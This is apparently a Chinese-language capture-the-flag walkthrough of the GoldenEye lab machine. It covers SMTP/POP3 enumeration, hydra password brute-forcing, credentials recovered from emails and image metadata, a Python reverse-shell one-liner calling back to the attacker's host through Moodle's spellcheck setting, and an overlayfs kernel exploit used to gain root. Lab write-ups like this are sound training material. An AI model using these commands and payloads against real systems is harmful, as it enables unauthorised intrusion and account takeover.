1.信息收集
靶机地址:192.168.71.151
kali地址:192.168.71.139
nmap扫描端口:
除了80端口外,都是邮箱相关的端口,看来这个靶机应该是考察SMTP相关的利用。
2.Web应用枚举
先查看80端口网页:
提示去/sev-home/登录。访问该目录果然弹出个登录界面。
查看源码发现个可疑的js文件。
terminal.js文件的注释信息里隐藏了一串密码,同时提到了Boris和Natalya两个人名。
解码这一串密码,原来是ASCII码。
尝试用以下用户名和密码登录http://192.168.71.151/sev-home/
boris
InvincibleHack3r
登录成功!查看网页中的提示,是要向管理员发邮件来获取系统管理权限;并提示pop3服务在很大的端口上(默认110端口),在扫描时我们扫描到了55006和55007端口,应该就是pop3服务端口。
查看网页源码,在源码中再次发现Natalya和Boris两个名字,在最下面很隐蔽的地方。这里提示这两个人是网络管理员。
用Nikto扫描主机:
扫描到了一个php文件,访问:http://192.168.71.151/splashAdmin.php
在这个页面里,Admin用户的回复中,提示“黄金眼”系统不再使用GCC。还提到了一个用户Xenia。
3.SMTP枚举和Pop3爆破
SMTP枚举我不熟悉,在查资料的时候,找到了一位兄弟整理的OSCP笔记,这里包括了所有考点的枚举等方法,感谢这位兄弟!
利用SMTP进行用户枚举,查看用户是否存在。
我们之前猜测了三个用户:
- boris
- natalya
- xenia
连接25端口后,依次用VRFY命令验证。
看来在邮件系统中,boris和natalya用户是存在的。
尝试用boris:InvincibleHack3r登录Pop3服务。
认证失败。
用hydra爆破邮箱密码。
hydra -P /usr/share/wordlists/fasttrack.txt -l natalya 192.168.71.151 -s 55007 -I pop3
密码爆破成功,boris用户密码为secret1!
同样,爆破natalya的密码:
爆破成功,natalya用户密码为bird
用获取的账密信息登录pop3服务,获取邮件信息。
boris邮箱中有三封邮件:
natalya邮箱中的邮件:
第二封邮件里发现了重要的信息:
- GNO系统的账号密码:
username: xenia
password: RCP90rulez!
- 域名:severnaya-station.com
- URL地址:severnaya-station.com/gnocertdir
按照提示编辑/etc/hosts文件:
访问GNO系统:
用账号密码登录:
登录系统后,发现收到了一封来自doak的邮件。
用之前的方法爆破doak的密码。
doak用户的密码goat。查看邮件:
username: dr_doak
password: 4England!
以这个账号登录GUO系统,发现了一个秘密文件:
秘密文件提示到/dir007key/for-007.jpg去找管理员的账号信息。
查看图片:
用exiftool工具分析该图片,发现了一串base64编码:
base64解码:
根据邮件信息,解码出的**xWinter1995x!**为用户admin的密码。
4.反弹shell
以admin登录GNO系统,在Settings > Site administration > Server > System Paths目录下找到shell payload注入点:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.139",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
然后创建新blog并点击拼写检查来触发shellcode,然而并没有成功。
这是因为这个系统是以moodle为模板,而该模板的默认拼写检查并不是刚才设置了shellcode的aspell。
在 Settings > Site administration >Plugins> Text editors > TinyMCE HTMl editor路径下修改默认拼写检查插件。
将默认拼写插件改成PSpellShell.然后再次通过点击blog的拼写检查来触发。
反弹shell成功!当前用户为www-data。
5.提权
查看系统信息:
cat /etc/lsb-release
发现系统是Ubuntu 14.04,搜索exploit-db发现存在漏洞 :overlayfs本地提权
把exploit下载下来,是c文件。还记得之前在boris的留言板中管理员回复过系统没有gcc,因此无法用gcc编译。
把源码中的“gcc”改成“cc”。
把源码上传到靶机后编译:
cc ofs.c -o ofs
执行ofs文件后,获取到root权限:
查看flag文件
6.总结
这个靶机是做得很痛苦啊!无论是邮件相关枚举还是进入系统后查找反弹shell的注入点,都很麻烦很绕。最后还设置了一个没有gcc的门槛。全程看别人的walkthrough完成。
主要考察知识点如下:
- SMTP和Pop3的命令
- 使用hydra爆破密码
- 寻找反弹shell注入点的能力
- 利用系统版本漏洞提权